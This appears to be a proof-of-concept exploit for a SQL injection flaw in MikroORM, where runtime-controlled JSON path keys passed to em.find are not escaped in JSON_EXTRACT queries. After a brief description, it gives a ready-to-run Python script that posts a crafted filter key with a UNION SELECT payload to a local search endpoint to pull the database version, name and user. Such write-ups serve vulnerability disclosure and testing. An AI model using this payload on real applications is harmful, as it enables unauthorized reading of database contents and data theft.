"""
Description:
The vulnerability exists because MikroORM fails to properly escape
runtime-controlled JSON path keys when building JSON_EXTRACT queries.

The attacker can break out of the JSON path context and inject arbitrary SQL.

Affected API pattern:

em.find(Entity, {
    jsonColumn: {
        [userControlledKey]: value
    }
})


By injecting crafted JSON-path keys, it becomes possible to execute
UNION SELECT statements and extract arbitrary database information.

import requests
import json

url = "http://localhost:3000/api/users/search"

payload = {
    "filterField": "$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- ",
    "filterValue": "x"
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, json=payload, headers=headers)

print(f"Status: {response.status_code}")
print(json.dumps(response.json(), indent=2))
